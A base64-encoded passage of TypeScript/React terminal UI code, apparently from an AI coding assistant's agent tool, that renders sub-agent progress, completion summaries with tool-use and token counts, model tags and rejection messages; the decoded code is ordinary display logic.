YXR1cyA9PT0gJ2FzeW5jX2xhdW5jaGVkJykge1xuICAgIGNvbnN0IHsgcHJvbXB0IH0gPSBkYXRhXG4gICAgcmV0dXJuIChcbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgICAgPFRleHQ+XG4gICAgICAgICAgICBCYWNrZ3JvdW5kZWQgYWdlbnRcbiAgICAgICAgICAgIHshaXNUcmFuc2NyaXB0TW9kZSAmJiAoXG4gICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICAgIHsnICgnfVxuICAgICAgICAgICAgICAgIDxCeWxpbmU+XG4gICAgICAgICAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCLihpNcIiBhY3Rpb249XCJtYW5hZ2VcIiAvPlxuICAgICAgICAgICAgICAgICAge3Byb21wdCAmJiAoXG4gICAgICAgICAgICAgICAgICAgIDxDb25maWd1cmFibGVTaG9ydGN1dEhpbnRcbiAgICAgICAgICAgICAgICAgICAgICBhY3Rpb249XCJhcHA6dG9nZ2xlVHJhbnNjcmlwdFwiXG4gICAgICAgICAgICAgICAgICAgICAgY29udGV4dD1cIkdsb2JhbFwiXG4gICAgICAgICAgICAgICAgICAgICAgZmFsbGJhY2s9XCJjdHJsK29cIlxuICAgICAgICAgICAgICAgICAgICAgIGRlc2NyaXB0aW9uPVwiZXhwYW5kXCJcbiAgICAgICAgICAgICAgICAgICAgLz5cbiAgICAgICAgICAgICAgICAgICl9XG4gICAgICAgICAgICAgICAgPC9CeWxpbmU+XG4gICAgICAgICAgICAgICAgeycpJ31cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgKX1cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICB7aXNUcmFuc2NyaXB0TW9kZSAmJiBwcm9tcHQgJiYgKFxuICAgICAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgICA8QWdlbnRQcm9tcHREaXNwbGF5IHByb21wdD17cHJvbXB0fSB0aGVtZT17dGhlbWV9IC8+XG4gICAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICl9XG4gICAgICA8L0JveD5cbiAgICApXG4gIH1cblxuICBpZiAoZGF0YS5zdGF0dXMgIT09ICdjb21wbGV0ZWQnKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIGNvbnN0IHtcbiAgICBhZ2VudElkLFxuICAgIHRvdGFsRHVyYXRpb25NcyxcbiAgICB0b3RhbFRvb2xVc2VDb3VudCxcbiAgICB0b3RhbFRva2VucyxcbiAgICB1c2FnZSxcbiAgICBjb250ZW50LFxuICAgIHByb21wdCxcbiAgfSA9IGRhdGFcbiAgY29uc3QgcmVzdWx0ID0gW1xuICAgIHRvdGFsVG9vbFVzZUNvdW50ID09PSAxID8gJzEgdG9vbCB1c2UnIDogYCR7dG90YWxUb29sVXNlQ291bnR9IHRvb2wgdXNlc2AsXG4gICAgZm9ybWF0TnVtYmVyKHRvdGFsVG9rZW5zKSArICcgdG9rZW5zJyxcbiAgICBmb3JtYXREdXJhdGlvbih0b3RhbER1cmF0aW9uTXMpLFxuICBdXG5cbiAgY29uc3QgY29tcGxldGlvbk1lc3NhZ2UgPSBgRG9uZSAoJHtyZXN1bHQuam9pbignIMK3ICcpfSlgXG5cbiAgY29uc3QgZmluYWxBc3Npc3RhbnRNZXNzYWdlID0gY3JlYXRlQXNzaXN0YW50TWVzc2FnZSh7XG4gICAgY29udGVudDogY29tcGxldGlvbk1lc3NhZ2UsXG4gICAgdXNhZ2U6IHsgLi4udXNhZ2UsIGluZmVyZW5jZV9nZW86IG51bGwsIGl0ZXJhdGlvbnM6IG51bGwsIHNwZWVkOiBudWxsIH0sXG4gIH0pXG5cbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgIHtcImV4dGVybmFsXCIgPT09ICdhbnQnICYmIChcbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgICA8VGV4dCBjb2xvcj1cIndhcm5pbmdcIj5cbiAgICAgICAgICAgIFtBTlQtT05MWV0gQVBJIGNhbGxzOiB7Z2V0RGlzcGxheVBhdGgoZ2V0RHVtcFByb21wdHNQYXRoKGFnZW50SWQpKX1cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgKX1cbiAgICAgIHtpc1RyYW5zY3JpcHRNb2RlICYmIHByb21wdCAmJiAoXG4gICAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgPEFnZW50UHJvbXB0RGlzcGxheSBwcm9tcHQ9e3Byb21wdH0gdGhlbWU9e3RoZW1lfSAvPlxuICAgICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICAgICl9XG4gICAgICB7aXNUcmFuc2NyaXB0TW9kZSA/IChcbiAgICAgICAgPFN1YkFnZW50UHJvdmlkZXI+XG4gICAgICAgICAgPFZlcmJvc2VBZ2VudFRyYW5zY3JpcHRcbiAgICAgICAgICAgIHByb2dyZXNzTWVzc2FnZXM9e3Byb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlfVxuICAgICAgICAgICAgdG9vbHM9e3Rvb2xzfVxuICAgICAgICAgICAgdmVyYm9zZT17dmVyYm9zZX1cbiAgICAgICAgICAvPlxuICAgICAgICA8L1N1YkFnZW50UHJvdmlkZXI+XG4gICAgICApIDogbnVsbH1cbiAgICAgIHtpc1RyYW5zY3JpcHRNb2RlICYmIGNvbnRlbnQgJiYgY29udGVudC5sZW5ndGggPiAwICYmIChcbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgICA8QWdlbnRSZXNwb25zZURpc3BsYXkgY29udGVudD17Y29udGVudH0gdGhlbWU9e3RoZW1lfSAvPlxuICAgICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICAgICl9XG4gICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgIDxNZXNzYWdlQ29tcG9uZW50XG4gICAgICAgICAgbWVzc2FnZT17ZmluYWxBc3Npc3RhbnRNZXNzYWdlfVxuICAgICAgICAgIGxvb2t1cHM9e0VNUFRZX0xPT0tVUFN9XG4gICAgICAgICAgYWRkTWFyZ2luPXtmYWxzZX1cbiAgICAgICAgICB0b29scz17dG9vbHN9XG4gICAgICAgICAgY29tbWFuZHM9e1tdfVxuICAgICAgICAgIHZlcmJvc2U9e3ZlcmJvc2V9XG4gICAgICAgICAgaW5Qcm9ncmVzc1Rvb2xVc2VJRHM9e25ldyBTZXQoKX1cbiAgICAgICAgICBwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZT17W119XG4gICAgICAgICAgc2hvdWxkQW5pbWF0ZT17ZmFsc2V9XG4gICAgICAgICAgc2hvdWxkU2hvd0RvdD17ZmFsc2V9XG4gICAgICAgICAgaXNUcmFuc2NyaXB0TW9kZT17ZmFsc2V9XG4gICAgICAgICAgaXNTdGF0aWM9e3RydWV9XG4gICAgICAgIC8+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICAgIHshaXNUcmFuc2NyaXB0TW9kZSAmJiAoXG4gICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgIHsnICAnfVxuICAgICAgICAgIDxDdHJsT1RvRXhwYW5kIC8+XG4gICAgICAgIDwvVGV4dD5cbiAgICAgICl9XG4gICAgPC9Cb3g+XG4gIClcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xVc2VNZXNzYWdlKHtcbiAgZGVzY3JpcHRpb24sXG4gIHByb21wdCxcbn06IFBhcnRpYWw8e1xuICBkZXNjcmlwdGlvbjogc3RyaW5nXG4gIHByb21wdDogc3RyaW5nXG59Pik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGlmICghZGVzY3JpcHRpb24gfHwgIXByb21wdCkge1xuICAgIHJldHVybiBudWxsXG4gIH1cbiAgcmV0dXJuIGRlc2NyaXB0aW9uXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlVGFnKFxuICBpbnB1dDogUGFydGlhbDx7XG4gICAgZGVzY3JpcHRpb246IHN0cmluZ1xuICAgIHByb21wdDogc3RyaW5nXG4gICAgc3ViYWdlbnRfdHlwZTogc3RyaW5nXG4gICAgbW9kZWw/OiBNb2RlbEFsaWFzXG4gIH0+LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgdGFnczogUmVhY3QuUmVhY3ROb2RlW10gPSBbXVxuXG4gIGlmIChpbnB1dC5tb2RlbCkge1xuICAgIGNvbnN0IG1haW5Nb2RlbCA9IGdldE1haW5Mb29wTW9kZWwoKVxuICAgIGNvbnN0IGFnZW50TW9kZWwgPSBwYXJzZVVzZXJTcGVjaWZpZWRNb2RlbChpbnB1dC5tb2RlbClcbiAgICBpZiAoYWdlbnRNb2RlbCAhPT0gbWFpbk1vZGVsKSB7XG4gICAgICB0YWdzLnB1c2goXG4gICAgICAgIDxCb3gga2V5PVwibW9kZWxcIiBmbGV4V3JhcD1cIm5vd3JhcFwiIG1hcmdpbkxlZnQ9ezF9PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntyZW5kZXJNb2RlbE5hbWUoYWdlbnRNb2RlbCl9PC9UZXh0PlxuICAgICAgICA8L0JveD4sXG4gICAgICApXG4gICAgfVxuICB9XG5cbiAgaWYgKHRhZ3MubGVuZ3RoID09PSAwKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIHJldHVybiA8Pnt0YWdzfTwvPlxufVxuXG5jb25zdCBJTklUSUFMSVpJTkdfVEVYVCA9ICdJbml0aWFsaXppbmfigKYnXG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlUHJvZ3Jlc3NNZXNzYWdlKFxuICBwcm9ncmVzc01lc3NhZ2VzOiBQcm9ncmVzc01lc3NhZ2U8UHJvZ3Jlc3M+W10sXG4gIHtcbiAgICB0b29scyxcbiAgICB2ZXJib3NlLFxuICAgIHRlcm1pbmFsU2l6ZSxcbiAgICBpblByb2dyZXNzVG9vbENhbGxDb3VudCxcbiAgICBpc1RyYW5zY3JpcHRNb2RlID0gZmFsc2UsXG4gIH06IHtcbiAgICB0b29sczogVG9vbHNcbiAgICB2ZXJib3NlOiBib29sZWFuXG4gICAgdGVybWluYWxTaXplPzogeyBjb2x1bW5zOiBudW1iZXI7IHJvd3M6IG51bWJlciB9XG4gICAgaW5Qcm9ncmVzc1Rvb2xDYWxsQ291bnQ/OiBudW1iZXJcbiAgICBpc1RyYW5zY3JpcHRNb2RlPzogYm9vbGVhblxuICB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgaWYgKCFwcm9ncmVzc01lc3NhZ2VzLmxlbmd0aCkge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yPntJTklUSUFMSVpJTkdfVEVYVH08L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cblxuICAvLyBDaGVja3MgdG8gc2VlIGlmIHdlIHNob3VsZCBzaG93IGEgc3VwZXIgY29uZGVuc2VkIHByb2dyZXNzIG1lc3NhZ2Ugc3VtbWFyeS5cbiAgLy8gVGhpcyBwcmV2ZW50cyBmbGlja2VycyB3aGVuIHRoZSB0ZXJtaW5hbCBzaXplIGlzIHRvbyBzbWFsbCB0byByZW5kZXIgYWxsIHRoZSBkeW5hbWljIGNvbnRlbnRcbiAgY29uc3QgdG9vbFRvb2xSZW5kZXJMaW5lc0VzdGltYXRlID1cbiAgICAoaW5Qcm9ncmVzc1Rvb2xDYWxsQ291bnQgPz8gMSkgKiBFU1RJTUFURURfTElORVNfUEVSX1RPT0wgK1xuICAgIFRFUk1JTkFMX0JVRkZFUl9MSU5FU1xuICBjb25zdCBzaG91bGRVc2VDb25kZW5zZWRNb2RlID1cbiAgICAhaXNUcmFuc2NyaXB0TW9kZSAmJlxuICAgIHRlcm1pbmFsU2l6ZSAmJlxuICAgIHRlcm1pbmFsU2l6ZS5yb3dzICYmXG4gICAgdGVybWluYWxTaXplLnJvd3MgPCB0b29sVG9vbFJlbmRlckxpbmVzRXN0aW1hdGVcblxuICBjb25zdCBnZXRQcm9ncmVzc1N0YXRzID0gKCkgPT4ge1xuICAgIGNvbnN0IHRvb2xVc2VDb3VudCA9IGNvdW50KHByb2dyZXNzTWVzc2FnZXMsIG1zZyA9PiB7XG4gICAgICBpZiAoIWhhc1Byb2dyZXNzTWVzc2FnZShtc2cuZGF0YSkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlXG4gICAgICB9XG4gICAgICBjb25zdCBtZXNzYWdlID0gbXNnLmRhdGEubWVzc2FnZVxuICAgICAgcmV0dXJuIG1lc3NhZ2UubWVzc2FnZS5jb250ZW50LnNvbWUoXG4gICAgICAgIGNvbnRlbnQgPT4gY29udGVudC50eXBlID09PSAndG9vbF91c2UnLFxuICAgICAgKVxuICAgIH0pXG5cbiAgICBjb25zdCBsYXRlc3RBc3Npc3RhbnQgPSBwcm9ncmVzc01lc3NhZ2VzLmZpbmRMYXN0KFxuICAgICAgKG1zZyk6IG1zZyBpcyBQcm9ncmVzc01lc3NhZ2U8QWdlbnRUb29sUHJvZ3Jlc3M+ID0+XG4gICAgICAgIGhhc1Byb2dyZXNzTWVzc2FnZShtc2cuZGF0YSkgJiYgbXNnLmRhdGEubWVzc2FnZS50eXBlID09PSAnYXNzaXN0YW50JyxcbiAgICApXG5cbiAgICBsZXQgdG9rZW5zID0gbnVsbFxuICAgIGlmIChsYXRlc3RBc3Npc3RhbnQ/LmRhdGEubWVzc2FnZS50eXBlID09PSAnYXNzaXN0YW50Jykge1xuICAgICAgY29uc3QgdXNhZ2UgPSBsYXRlc3RBc3Npc3RhbnQuZGF0YS5tZXNzYWdlLm1lc3NhZ2UudXNhZ2VcbiAgICAgIHRva2VucyA9XG4gICAgICAgICh1c2FnZS5jYWNoZV9jcmVhdGlvbl9pbnB1dF90b2tlbnMgPz8gMCkgK1xuICAgICAgICAodXNhZ2UuY2FjaGVfcmVhZF9pbnB1dF90b2tlbnMgPz8gMCkgK1xuICAgICAgICB1c2FnZS5pbnB1dF90b2tlbnMgK1xuICAgICAgICB1c2FnZS5vdXRwdXRfdG9rZW5zXG4gICAgfVxuXG4gICAgcmV0dXJuIHsgdG9vbFVzZUNvdW50LCB0b2tlbnMgfVxuICB9XG5cbiAgaWYgKHNob3VsZFVzZUNvbmRlbnNlZE1vZGUpIHtcbiAgICBjb25zdCB7IHRvb2xVc2VDb3VudCwgdG9rZW5zIH0gPSBnZXRQcm9ncmVzc1N0YXRzKClcblxuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgIEluIHByb2dyZXNz4oCmIMK3IDxUZXh0IGJvbGQ+e3Rvb2xVc2VDb3VudH08L1RleHQ+IHRvb2x7JyAnfVxuICAgICAgICAgIHt0b29sVXNlQ291bnQgPT09IDEgPyAndXNlJyA6ICd1c2VzJ31cbiAgICAgICAgICB7dG9rZW5zICYmIGAgwrcgJHtmb3JtYXROdW1iZXIodG9rZW5zKX0gdG9rZW5zYH0gwrd7JyAnfVxuICAgICAgICAgIDxDb25maWd1cmFibGVTaG9ydGN1dEhpbnRcbiAgICAgICAgICAgIGFjdGlvbj1cImFwcDp0b2dnbGVUcmFuc2NyaXB0XCJcbiAgICAgICAgICAgIGNvbnRleHQ9XCJHbG9iYWxcIlxuICAgICAgICAgICAgZmFsbGJhY2s9XCJjdHJsK29cIlxuICAgICAgICAgICAgZGVzY3JpcHRpb249XCJleHBhbmRcIlxuICAgICAgICAgICAgcGFyZW5zXG4gICAgICAgICAgLz5cbiAgICAgICAgPC9UZXh0PlxuICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgKVxuICB9XG5cbiAgLy8gUHJvY2VzcyBtZXNzYWdlcyB0byBncm91cCBjb25zZWN1dGl2ZSBzZWFyY2gvcmVhZCBvcGVyYXRpb25zIGludG8gc3VtbWFyaWVzIChhbnRzIG9ubHkpXG4gIC8vIGlzQWdlbnRSdW5uaW5nPXRydWUgc2luY2UgdGhpcyBpcyB0aGUgcHJvZ3Jlc3MgdmlldyB3aGlsZSB0aGUgYWdlbnQgaXMgc3RpbGwgcnVubmluZ1xuICBjb25zdCBwcm9jZXNzZWRNZXNzYWdlcyA9IHByb2Nlc3NQcm9ncmVzc01lc3NhZ2VzKFxuICAgIHByb2dyZXNzTWVzc2FnZXMsXG4gICAgdG9vbHMsXG4gICAgdHJ1ZSxcbiAgKVxuXG4gIC8vIEZvciBkaXNwbGF5LCB0YWtlIHRoZSBsYXN0IGZldyBwcm9jZXNzZWQgbWVzc2FnZXNcbiAgY29uc3QgZGlzcGxheWVkTWVzc2FnZXMgPSBpc1RyYW5zY3JpcHRNb2RlXG4gICAgPyBwcm9jZXNzZWRNZXNzYWdlc1xuICAgIDogcHJvY2Vzc2VkTWVzc2FnZXMuc2xpY2UoLU1BWF9QUk9HUkVTU19NRVNTQUdFU19UT19TSE9XKVxuXG4gIC8vIENvdW50IGhpZGRlbiB0b29sIHVzZXMgc3BlY2lmaWNhbGx5IChub3QgYWxsIG1lc3NhZ2VzKSB0byBtYXRjaCB0aGVcbiAgLy8gZmluYWwgXCJEb25lIChOIHRvb2wgdXNlcylcIiBjb3VudC4gRWFjaCB0b29sIHVzZSBnZW5lcmF0ZXMgbXVsdGlwbGVcbiAgLy8gcHJvZ3Jlc3MgbWVzc2FnZXMgKHRvb2xfdXNlICsgdG9vbF9yZXN1bHQgKyB0ZXh0KSwgc28gY291bnRpbmcgYWxsXG4gIC8vIGhpZGRlbiBtZXNzYWdlcyBpbmZsYXRlcyB0aGUgbnVtYmVyIHNob3duIHRvIHRoZSB1c2VyLlxuICBjb25zdCBoaWRkZW5NZXNzYWdlcyA9IGlzVHJhbnNjcmlwdE1vZGVcbiAgICA/IFtdXG4gICAgOiBwcm9jZXNzZWRNZXNzYWdlcy5zbGljZShcbiAgICAgICAgMCxcbiAgICAgICAgTWF0aC5tYXgoMCwgcHJvY2Vzc2VkTWVzc2FnZXMubGVuZ3RoIC0gTUFYX1BST0dSRVNTX01FU1NBR0VTX1RPX1NIT1cpLFxuICAgICAgKVxuICBjb25zdCBoaWRkZW5Ub29sVXNlQ291bnQgPSBjb3VudChoaWRkZW5NZXNzYWdlcywgbSA9PiB7XG4gICAgaWYgKG0udHlwZSA9PT0gJ3N1bW1hcnknKSB7XG4gICAgICByZXR1cm4gbS5zZWFyY2hDb3VudCArIG0ucmVhZENvdW50ICsgbS5yZXBsQ291bnQgPiAwXG4gICAgfVxuICAgIGNvbnN0IGRhdGEgPSBtLm1lc3NhZ2UuZGF0YVxuICAgIGlmICghaGFzUHJvZ3Jlc3NNZXNzYWdlKGRhdGEpKSB7XG4gICAgICByZXR1cm4gZmFsc2VcbiAgICB9XG4gICAgcmV0dXJuIGRhdGEubWVzc2FnZS5tZXNzYWdlLmNvbnRlbnQuc29tZShcbiAgICAgIGNvbnRlbnQgPT4gY29udGVudC50eXBlID09PSAndG9vbF91c2UnLFxuICAgIClcbiAgfSlcblxuICBjb25zdCBmaXJzdERhdGEgPSBwcm9ncmVzc01lc3NhZ2VzWzBdPy5kYXRhXG4gIGNvbnN0IHByb21wdCA9XG4gICAgZmlyc3REYXRhICYmIGhhc1Byb2dyZXNzTWVzc2FnZShmaXJzdERhdGEpID8gZmlyc3REYXRhLnByb21wdCA6IHVuZGVmaW5lZFxuXG4gIC8vIEFmdGVyIGdyb3VwaW5nLCBkaXNwbGF5ZWRNZXNzYWdlcyBjYW4gYmUgZW1wdHkgd2hlbiB0aGUgb25seSBwcm9ncmVzcyBzb1xuICAvLyBmYXIgaXMgYW4gYXNzaXN0YW50IHRvb2xfdXNlIGZvciBhIHNlYXJjaC9yZWFkIG9wIChncm91cGVkIGJ1dCBub3QgeWV0XG4gIC8vIGNvdW50ZWQsIHNpbmNlIGNvdW50cyBpbmNyZW1lbnQgb24gdG9vbF9yZXN1bHQpLiBGYWxsIGJhY2sgdG8gdGhlXG4gIC8vIGluaXRpYWxpemluZyB0ZXh0IHNvIE1lc3NhZ2VSZXNwb25zZSBkb2Vzbid0IHJlbmRlciBhIGJhcmUg4o6/LlxuICBpZiAoZGlzcGxheWVkTWVzc2FnZXMubGVuZ3RoID09PSAwICYmICEoaXNUcmFuc2NyaXB0TW9kZSAmJiBwcm9tcHQpKSB7XG4gICAgcmV0dXJuIChcbiAgICAgIDxNZXNzYWdlUmVzcG9uc2UgaGVpZ2h0PXsxfT5cbiAgICAgICAgPFRleHQgZGltQ29sb3I+e0lOSVRJQUxJWklOR19URVhUfTwvVGV4dD5cbiAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgIClcbiAgfVxuXG4gIGNvbnN0IHtcbiAgICBsb29rdXBzOiBzdWJhZ2VudExvb2t1cHMsXG4gICAgaW5Qcm9ncmVzc1Rvb2xVc2VJRHM6IGNvbGxhcHNlZEluUHJvZ3Jlc3NJRHMsXG4gIH0gPSBidWlsZFN1YmFnZW50TG9va3VwcyhcbiAgICBwcm9ncmVzc01lc3NhZ2VzXG4gICAgICAuZmlsdGVyKChwbSk6IHBtIGlzIFByb2dyZXNzTWVzc2FnZTxBZ2VudFRvb2xQcm9ncmVzcz4gPT5cbiAgICAgICAgaGFzUHJvZ3Jlc3NNZXNzYWdlKHBtLmRhdGEpLFxuICAgICAgKVxuICAgICAgLm1hcChwbSA9PiBwbS5kYXRhKSxcbiAgKVxuXG4gIHJldHVybiAoXG4gICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICA8U3ViQWdlbnRQcm92aWRlcj5cbiAgICAgICAgICB7aXNUcmFuc2NyaXB0TW9kZSAmJiBwcm9tcHQgJiYgKFxuICAgICAgICAgICAgPEJveCBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgICAgICAgICA8QWdlbnRQcm9tcHREaXNwbGF5IHByb21wdD17cHJvbXB0fSAvPlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKX1cbiAgICAgICAgICB7ZGlzcGxheWVkTWVzc2FnZXMubWFwKHByb2Nlc3NlZCA9PiB7XG4gICAgICAgICAgICBpZiAocHJvY2Vzc2VkLnR5cGUgPT09ICdzdW1tYXJ5Jykge1xuICAgICAgICAgICAgICAvLyBSZW5kZXIgc3VtbWFyeSBmb3IgZ3JvdXBlZCBzZWFyY2gvcmVhZC9SRVBMIG9wZXJhdGlvbnMgdXNpbmcgc2hhcmVkIGZvcm1hdHRpbmdcbiAgICAgICAgICAgICAgY29uc3Qgc3VtbWFyeVRleHQgPSBnZXRTZWFyY2hSZWFkU3VtbWFyeVRleHQoXG4gICAgICAgICAgICAgICAgcHJvY2Vzc2VkLnNlYXJjaENvdW50LFxuICAgICAgICAgICAgICAgIHByb2Nlc3NlZC5yZWFkQ291bnQsXG4gICAgICAgICAgICAgICAgcHJvY2Vzc2VkLmlzQWN0aXZlLFxuICAgICAgICAgICAgICAgIHByb2Nlc3NlZC5yZXBsQ291bnQsXG4gICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgICAgICA8Qm94IGtleT17cHJvY2Vzc2VkLnV1aWR9IGhlaWdodD17MX0gb3ZlcmZsb3c9XCJoaWRkZW5cIj5cbiAgICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntzdW1tYXJ5VGV4dH08L1RleHQ+XG4gICAgICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgICAgIClcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIC8vIFJlbmRlciBvcmlnaW5hbCBtZXNzYWdlIHdpdGhvdXQgaGVpZ2h0PTEgd3JhcHBlciBzbyBudWxsXG4gICAgICAgICAgICAvLyBjb250ZW50ICh0b29sIG5vdCBmb3VuZCwgcmVuZGVyVG9vbFVzZU1lc3NhZ2UgcmV0dXJucyBudWxsKVxuICAgICAgICAgICAgLy8gZG9lc24ndCBsZWF2ZSBhIGJsYW5rIGxpbmUuIFRvb2wgY2FsbCBoZWFkZXJzIGFyZSBzaW5nbGUtbGluZVxuICAgICAgICAgICAgLy8gYW55d2F5IHNvIHRydW5jYXRpb24gaXNuJ3QgbmVlZGVkLlxuICAgICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgICAgPE1lc3NhZ2VDb21wb25lbnRcbiAgICAgICAgICAgICAgICBrZXk9e3Byb2Nlc3NlZC5tZXNzYWdlLnV1aWR9XG4gICAgICAgICAgICAgICAgbWVzc2FnZT17cHJvY2Vzc2VkLm1lc3NhZ2UuZGF0YS5tZXNzYWdlfVxuICAgICAgICAgICAgICAgIGxvb2t1cHM9e3N1YmFnZW50TG9va3Vwc31cbiAgICAgICAgICAgICAgICBhZGRNYXJnaW49e2ZhbHNlfVxuICAgICAgICAgICAgICAgIHRvb2xzPXt0b29sc31cbiAgICAgICAgICAgICAgICBjb21tYW5kcz17W119XG4gICAgICAgICAgICAgICAgdmVyYm9zZT17dmVyYm9zZX1cbiAgICAgICAgICAgICAgICBpblByb2dyZXNzVG9vbFVzZUlEcz17Y29sbGFwc2VkSW5Qcm9ncmVzc0lEc31cbiAgICAgICAgICAgICAgICBwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZT17W119XG4gICAgICAgICAgICAgICAgc2hvdWxkQW5pbWF0ZT17ZmFsc2V9XG4gICAgICAgICAgICAgICAgc2hvdWxkU2hvd0RvdD17ZmFsc2V9XG4gICAgICAgICAgICAgICAgc3R5bGU9XCJjb25kZW5zZWRcIlxuICAgICAgICAgICAgICAgIGlzVHJhbnNjcmlwdE1vZGU9e2ZhbHNlfVxuICAgICAgICAgICAgICAgIGlzU3RhdGljPXt0cnVlfVxuICAgICAgICAgICAgICAvPlxuICAgICAgICAgICAgKVxuICAgICAgICAgIH0pfVxuICAgICAgICA8L1N1YkFnZW50UHJvdmlkZXI+XG4gICAgICAgIHtoaWRkZW5Ub29sVXNlQ291bnQgPiAwICYmIChcbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICt7aGlkZGVuVG9vbFVzZUNvdW50fSBtb3JlIHRvb2x7JyAnfVxuICAgICAgICAgICAge2hpZGRlblRvb2xVc2VDb3VudCA9PT0gMSA/ICd1c2UnIDogJ3VzZXMnfSA8Q3RybE9Ub0V4cGFuZCAvPlxuICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgKX1cbiAgICAgIDwvQm94PlxuICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlUmVqZWN0ZWRNZXNzYWdlKFxuICBfaW5wdXQ6IHsgZGVzY3JpcHRpb246IHN0cmluZzsgcHJvbXB0OiBzdHJpbmc7IHN1YmFnZW50X3R5cGU6IHN0cmluZyB9LFxuICB7XG4gICAgcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UsXG4gICAgdG9vbHMsXG4gICAgdmVyYm9zZSxcbiAgICBpc1RyYW5zY3JpcHRNb2RlLFxuICB9OiB7XG4gICAgY29sdW1uczogbnVtYmVyXG4gICAgbWVzc2FnZXM6IE1lc3NhZ2VbXVxuICAgIHN0eWxlPzogJ2NvbmRlbnNlZCdcbiAgICB0aGVtZTogVGhlbWVOYW1lXG4gICAgcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2U6IFByb2dyZXNzTWVzc2FnZTxQcm9ncmVzcz5bXVxuICAgIHRvb2xzOiBUb29sc1xuICAgIHZlcmJvc2U6IGJvb2xlYW5cbiAgICBpc1RyYW5zY3JpcHRNb2RlPzogYm9vbGVhblxuICB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgLy8gR2V0IGFnZW50SWQgZnJvbSBwcm9ncmVzcyBtZXNzYWdlcyBpZiBhdmFpbGFibGUgKGFnZW50IHdhcyBydW5uaW5nIGJlZm9yZSByZWplY3Rpb24pXG4gIGNvbnN0IGZpcnN0RGF0YSA9IHByb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlWzBdPy5kYXRhXG4gIGNvbnN0IGFnZW50SWQgPVxuICAgIGZpcnN0RGF0YSAmJiBoYXNQcm9ncmVzc01lc3NhZ2UoZmlyc3REYXRhKSA/IGZpcnN0RGF0YS5hZ2VudElkIDogdW5kZWZpbmVkXG5cbiAgcmV0dXJuIChcbiAgICA8PlxuICAgICAge1wiZXh0ZXJuYWxcIiA9PT0gJ2FudCcgJiYgYWdlbnRJZCAmJiAoXG4gICAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJ3YXJuaW5nXCI+XG4gICAgICAgICAgICBbQU5ULU9OTFldIEFQSSBjYWxsczoge2dldERpc3BsYXlQYXRoKGdldER1bXBQcm9tcHRzUGF0aChhZ2VudElkKSl9